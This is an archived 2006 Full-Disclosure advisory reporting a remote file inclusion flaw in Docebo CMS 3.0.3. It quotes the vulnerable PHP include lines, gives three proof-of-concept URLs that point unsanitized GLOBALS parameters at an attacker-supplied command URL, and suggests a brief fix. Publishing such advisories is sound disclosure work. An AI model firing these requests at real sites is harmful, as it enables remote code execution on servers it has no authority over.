OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
[Full-disclosure] Docebo CMS 3.0.3, Remote command execution

From: Federico Fazzi (federicoautistici.org)
Date: Thu Jun 08 2006 - 23:23:02 CDT


-----------------------------------------------------
Advisory id: FSA:007

Author: Federico Fazzi
Date: 09/06/2006, 6:10
Sinthesis: Docebo CMS 3.0.3, Remote command execution
Type: high
Product: http://www.docebolms.org/
Patch: unavailable
-----------------------------------------------------

1) Description:

Error occured in news_class.php,

include_once($GLOBALS['where_framework']."/lib/lib.listview.php");
include_once($GLOBALS['where_framework']."/lib/lib.treedb.php");
include_once($GLOBALS['where_framework']."/lib/lib.treeview.php");

Error occured in content_class.php,

include_once($GLOBALS['where_framework']."/lib/lib.listview.php");
include_once($GLOBALS['where_framework']."/lib/lib.treedb.php");
include_once($GLOBALS['where_framework']."/lib/lib.treeview.php");

Error occured in util.media.php,

include_once($GLOBALS["where_cms"]."/admin/modules/media/media_class.php");

The users can include a remote file because
the $GLOBALS['where_framework'], $GLOBALS['where_cms']
isn't sanitized

2) Proof of concept:

http://example/doceboCms/[dc_path]admin/modules/news/news_class.php?GLOBALS[where_framework]=[cmd_url]
http://example/doceboCms/[dc_path]admin/modules/content/content_class.php?GLOBALS[where_framework]=[cmd_url]
http://example/doceboCms/[dc_path]admin/modules/block_media/util.media.php?GLOBALS[where_cms]=[cmd_url]

3) Solution:

include file where are declare $GLOBALS[*]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/